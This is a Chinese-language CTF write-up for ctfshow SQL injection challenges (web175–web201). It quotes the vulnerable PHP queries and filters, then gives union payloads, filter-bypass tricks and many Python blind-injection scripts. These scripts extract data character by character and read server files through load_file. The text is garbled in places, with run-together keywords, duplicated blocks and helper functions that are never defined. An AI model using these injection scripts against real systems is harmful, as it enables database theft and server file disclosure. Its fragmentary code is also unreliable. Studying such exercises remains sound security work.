index = 1 flag = "" whileTrue: start = 32 end = 127 whileTrue: ifabs(start-end) == 1or start == end: break point = (start + end) // 2 if test_chr(index, point): start = point else: end = point if end < start: end = start flag += chr(end) print(f"[*] flag: {flag}") index += 1
还有另一种思路, 使用 replace() 把数字替换成字母
1
1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,1,'A'),2,'B'),3,'C'),4,'D'),5,'E'),6,'F'),7,'G'),8,'H'),9,'I'),0,'J'),'b' from ctfshow_user4 where username='flag' %23
web175
1 2 3 4 5 6
//拼接sql语句查找指定ID用户 $sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;"; //检查结果是否有flag if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){ $ret['msg']='查询成功'; }
index = 1 flag = "" whileTrue: start = 32 end = 127 whileTrue: ifabs(start-end) == 1or start == end: break point = (start + end) // 2 if test_chr(index, point): start = point else: end = point if end < start: end = start flag += chr(end) print(f"[*] flag: {flag}") index += 1
web176
1 2 3 4 5 6 7
//拼接sql语句查找指定ID用户 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;"; //对传入的参数进行了过滤 function waf($str){ //代码过于简单,不宜展示 }
有过滤的字符型注入
1 2 3
1'or'1'='1 或者 1'or 1=1%23
这里其实是对 select 进行了过滤,大小写就能绕过
1
1' union sElect 1,2,group_concat(password) from ctfshow_user%23
for i inrange(1,64): for s in dicts: data = {'tableName': '(ctfshow_user)where(pass)like(\'{}%\')'.format(flag+s)} url = 'http://68dd6502-9f12-4e04-86da-60d7ea7d0d94.challenge.ctf.show/select-waf.php' res = requests.post(url,data=data) if res.text.find('$user_count = 1') != -1: flag += s print(flag) break
web184
相比上题没有过滤空格, 过滤了 where 和单双引号
可以用 group by + having 绕过, 单双引号中的字符转换成十六进制
1
tableName=ctfshow_user group by pass having pass like 0xxxxxx
for i inrange(1,64): for s in dicts: data = {'tableName': 'ctfshow_user group by pass having pass like 0x{}'.format(tohex(flag+s+'%'))} url = 'http://ad73a3fb-1b8a-46cc-b1a2-6be67ac8a833.challenge.ctf.show/select-waf.php' res = requests.post(url,data=data) if res.text.find('$user_count = 1') != -1: flag += s print(flag) break
url = "http://ad73a3fb-1b8a-46cc-b1a2-6be67ac8a833.challenge.ctf.show/select-waf.php" payload = "ctfshow_user as a right join ctfshow_user as b on b.pass regexp(0x{})" true_flag = "$user_count = 43;"
defvalid_payload(p: str) -> bool: data = { "tableName": p } response = requests.post(url, data=data) return true_flag in response.text
flag = "ctf"# 这里注意表中用 regexp('ctf') 只有一个结果,要提前给出这一小段 flag 头避免其他记录干扰匹配 whileTrue: for c in"{}-" + string.digits + string.ascii_lowercase: pd = flag+c print(f"\r[*] trying {pd}", end="") if valid_payload(make_payload(pd)): flag += c print(f"\r[*] flag: {flag}") break if flag[-1] == "}": break
false !pi() 0 ceil(pi()*pi()) 10 A ceil((pi()+pi())*pi()) 20 K true !!pi() 1 ceil(pi()*pi())+true 11 B ceil(ceil(pi())*version()) 21 L true+true 2 ceil(pi()+pi()+version()) 12 C ceil(pi()*ceil(pi()+pi())) 22 M floor(pi()) 3 floor(pi()*pi()+pi()) 13 D ceil((pi()+ceil(pi()))*pi()) 23 N ceil(pi()) 4 ceil(pi()*pi()+pi()) 14 E ceil(pi())*ceil(version()) 24 O floor(version()) 5 ceil(pi()*pi()+version()) 15 F floor(pi()*(version()+pi())) 25 P ceil(version()) 6 floor(pi()*version()) 16 G floor(version()*version()) 26 Q ceil(pi()+pi()) 7 ceil(pi()*version()) 17 H ceil(version()*version()) 27 R floor(version()+pi()) 8 ceil(pi()*version())+true 18 I ceil(pi()*pi()*pi()-pi()) 28 S floor(pi()*pi()) 9 floor((pi()+pi())*pi()) 19 J floor(pi()*pi()*floor(pi())) 29 T
for i inrange(1,64): for s in dicts: payload = flag + list(s) payload.append('%') concat_payload = 'concat(' + ','.join([tofunc(ord(x)) for x in payload]) + ')' data = {'tableName': 'ctfshow_user group by pass having pass like {}'.format(concat_payload)} url = 'http://562488ab-21f1-4e3c-9d95-b9dfd191ae47.challenge.ctf.show/select-waf.php' res = requests.post(url,data=data) if res.text.find('$user_count = 0') == -1: flag.append(s) print(''.join(flag)) time.sleep(3) break
web186
同web185
web187
MD5 编码后的字符型注入
1 2 3 4 5 6 7 8 9 10 11 12
//拼接sql语句查找指定ID用户 $sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
deffind_flag_index() -> int: start = 0 end = 1000 whilenot (abs(start-end) == 1or start == end): p = (start + end) // 2 data = { "username": payload1.format(index=p), "password": 0 } response = requests.post(url, data=data) if"\\u5bc6\\u7801\\u9519\\u8bef"in response.text: start = p else: end = p if end < start: end = start return end
print("[*] finding flag index") flag_index = find_flag_index() print(f"[!] flag index found: {flag_index}") flag = "c" flag_index += 1 print("[*] start to injection") payload2 = "if(ascii(substr(load_file('/var/www/html/api/index.php'),{},1))>{},0,1)"
while flag[-1] != "}": start = 32 end = 127 whilenot (abs(start-end) == 1or start == end): p = (start + end) // 2 data = { "username": payload2.format(flag_index, p), "password": 0 } response = requests.post(url, data=data) if"\\u5bc6\\u7801\\u9519\\u8bef"in response.text: start = p else: end = p if end < start: end = start flag += chr(end) print(f"[*] flag: {flag}") flag_index += 1
exp2.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14
import requests
dicts='{1234567890-qwertyuiopasdfghjklzxcvbnm}'
flag = 'ctfshow{'
for i inrange(1,64): for s in dicts: payload = 'if(load_file(\'/var/www/html/api/index.php\')regexp(\'{}\'),1,0)'.format(flag+s) res = requests.post('http://d23cab63-5e4c-459c-8734-cd341eea2387.challenge.ctf.show/api/index.php',data={'username':payload,'password':'1'}) if res.text.find('67e5') != -1: flag += s print(flag) break
import requests url ="http://d23cab63-5e4c-459c-8734-cd341eea2387.challenge.ctf.show/api/index.php" flag = "ctfshow{" letter = '0123456789abcdefghijklmnopqrstuvwxyz-{}' for i inrange(0,60): #此处可适当调大 for j in letter: temp_flag = flag+j data = { "username": "if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)#".format(temp_flag), "password": 0, } r = requests.post(url=url,data=data) #print(r.text) #print(data['username']) if"密码错误"in r.json()['msg']: flag += j print(flag) break else: continue
web190
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
//拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = '{$username}'"; //密码检测 if(!is_numeric($password)){ $ret['msg']='密码只能为数字'; die(json_encode($ret)); }
for i inrange(1,64): for s in dicts: #payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()' #payload = 'select group_concat(column_name) from information_schema.columns where table_name=\'ctfshow_fl0g\' and table_schema=database()' payload = 'select f1ag from ctfshow_fl0g' t_payload = 'admin\' and if(substr(({}),{},1)=\'{}\',1,0)#'.format(payload,i,s) res = requests.post('http://94e5d786-dad9-42a6-bc93-c263dd9fc5db.challenge.ctf.show/api/index.php',data={'username':t_payload,'password':'1'}) if res.text.find('5bc6') != -1: flag += s print(flag) time.sleep(2) break
whileTrue: for char in string.printable: print(f"\r[*] trying: {result + char}", end="") if valid_char(index, char): result += char print(f"\r[*] result: {result}") index += 1 break
url='http://23d22f2d-9545-41ed-ae53-57a8c6877a80.challenge.ctf.show/api/' flag="" letter = "0123456789abcdefghijklmnopqrstuvwxyz-,{}_" for i inrange(0,100): for j in letter: #payload="admin' and if((select group_concat(table_name) from information_schema.tables where table_schema=database()) like '{}',1,0)#".format(flag+j+"%") #ctfshow_flxg #payload="admin' and if((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg') like '{}',1,0)#".format(flag+j+"%") #id,f1ag payload="admin' and if((select group_concat(f1ag) from ctfshow_flxg) like '{}',1,0)-- -".format(flag+j+"%") #ctfshow{7259adb9-4f34-4c72-bbeb-0fd74517cd3c} data={ 'username':payload, 'password':1 } #print(payload) r=requests.post(url=url,data=data) #print(r.text) if"密码错误"in r.json()['msg']: flag+=j print(flag) if j=='}': exit() break
defbrute_force_admin(): for i inrange(300): data = { "username": f"0x{'admin'.encode().hex()}", "password": 1 } response = requests.post(url, data=data) if success_flag in response.text: print(f"[*] msg: {response.text}") return
if __name__ == "__main__": print("[*] change column id to pass") alter_table() print("[*] brute force admin password") brute_force_admin()
web198
1 2 3 4 5 6 7 8 9 10 11 12
//拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = {$username};"; //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧 if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); }
if($row[0]==$password){ $ret['msg']="登陆成功 flag is $flag"; }
与上题相比过滤了 update create drop 等操作
但注意这里的 username= 后面依然没加引号
根据 mysql 的类型转换, 输入数字时, 记录中的数据都会转换成 int 类型, 非数字开头的 string 被转换时会变成 0
defbrute_force_admin(): for i inrange(300): data = { "username": f"0x{'admin'.encode().hex()}", "password": 1 } response = requests.post(url, data=data) if success_flag in response.text: print(f"[*] msg: {response.text}") return
if __name__ == "__main__": print("[*] change column id to pass") alter_table() print("[*] brute force admin password") brute_force_admin()
//拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = {$username};"; //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧 if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); }
if($row[0]==$password){ $ret['msg']="登陆成功 flag is $flag"; }
同web199
web201
1 2 3 4 5 6 7
//拼接sql语句查找指定ID用户 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."';"; //对传入的参数进行了过滤 function waf($str){ //代码过于简单,不宜展示 }